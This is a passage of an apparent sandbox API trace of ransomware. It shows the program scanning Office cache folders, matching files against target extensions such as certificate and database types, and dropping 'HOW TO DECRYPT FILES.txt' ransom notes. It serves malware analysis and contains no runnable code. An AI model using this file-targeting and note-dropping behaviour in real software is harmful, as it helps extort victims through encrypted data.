lstrlenA (lpString="*.msg") returned 5 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.edb") returned 0 [0057.630] lstrlenA (lpString="*.edb") returned 5 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.accdb") returned 0 [0057.630] lstrlenA (lpString="*.accdb") returned 7 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.odb") returned 0 [0057.630] lstrlenA (lpString="*.odb") returned 5 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.java") returned 0 [0057.630] lstrlenA (lpString="*.java") returned 6 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.asm") returned 0 [0057.630] lstrlenA (lpString="*.asm") returned 5 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.pfx") returned 0 [0057.630] lstrlenA (lpString="*.pfx") returned 5 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.pem") returned 0 [0057.630] lstrlenA (lpString="*.pem") returned 5 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.p12") returned 0 [0057.630] lstrlenA (lpString="*.p12") returned 5 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.gpg") returned 0 [0057.630] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.vsd") returned 0 [0057.631] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.631] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.631] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.631] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.631] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.631] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned="PptLR.cab" [0057.631] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" [0057.631] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="" [0057.631] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.631] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.631] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.631] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.631] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.632] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0057.632] lstrcmpA (lpString1=".", lpString2="{90140000-0019-0409-1000-0000000FF1CE}-C") returned -1 [0057.632] lstrcmpA (lpString1="..", lpString2="{90140000-0019-0409-1000-0000000FF1CE}-C") returned -1 [0057.632] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.632] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-0019-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" [0057.632] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.637] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.637] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.637] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.637] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.637] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0057.637] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.637] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PublisherMUI.msi") returned -1 [0057.637] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PublisherMUI.msi") returned -1 [0057.637] lstrcmpiA (lpString1="", lpString2="PublisherMUI.msi") returned -1 [0057.637] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.637] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" [0057.637] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="" [0057.638] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.638] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.638] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.642] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.643] CloseHandle (hObject=0x88) returned 1 [0057.643] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="PublisherMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" [0057.643] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0057.643] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.643] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PublisherMUI.xml") returned -1 [0057.643] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PublisherMUI.xml") returned -1 [0057.643] lstrcmpiA (lpString1="", lpString2="PublisherMUI.xml") returned -1 [0057.643] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned="PublisherMUI.msi" [0057.643] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" [0057.643] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="" [0057.643] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.643] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.644] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="PublisherMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" [0057.644] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0057.644] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.644] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PubLR.cab") returned -1 [0057.644] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PubLR.cab") returned -1 [0057.644] lstrcmpiA (lpString1="", lpString2="PubLR.cab") returned -1 [0057.644] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned="PublisherMUI.xml" [0057.644] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" [0057.644] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="" [0057.644] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.644] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.644] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="PubLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" [0057.644] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.644] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.645] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.645] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.645] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.645] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned="PubLR.cab" [0057.645] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" [0057.645] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="" [0057.645] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.645] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.645] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.645] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.645] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.645] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0057.645] lstrcmpA (lpString1=".", lpString2="{90140000-001A-0409-1000-0000000FF1CE}-C") returned -1 [0057.645] lstrcmpA (lpString1="..", lpString2="{90140000-001A-0409-1000-0000000FF1CE}-C") returned -1 [0057.645] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.645] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-001A-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" [0057.646] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.649] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.649] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.649] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.649] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.649] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0057.649] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.649] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OutlkLR.cab") returned -1 [0057.649] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OutlkLR.cab") returned -1 [0057.650] lstrcmpiA (lpString1="", lpString2="OutlkLR.cab") returned -1 [0057.650] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.650] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" [0057.650] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="" [0057.650] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.650] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.650] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.651] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.652] CloseHandle (hObject=0x88) returned 1 [0057.652] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="OutlkLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" [0057.652] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0057.652] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, 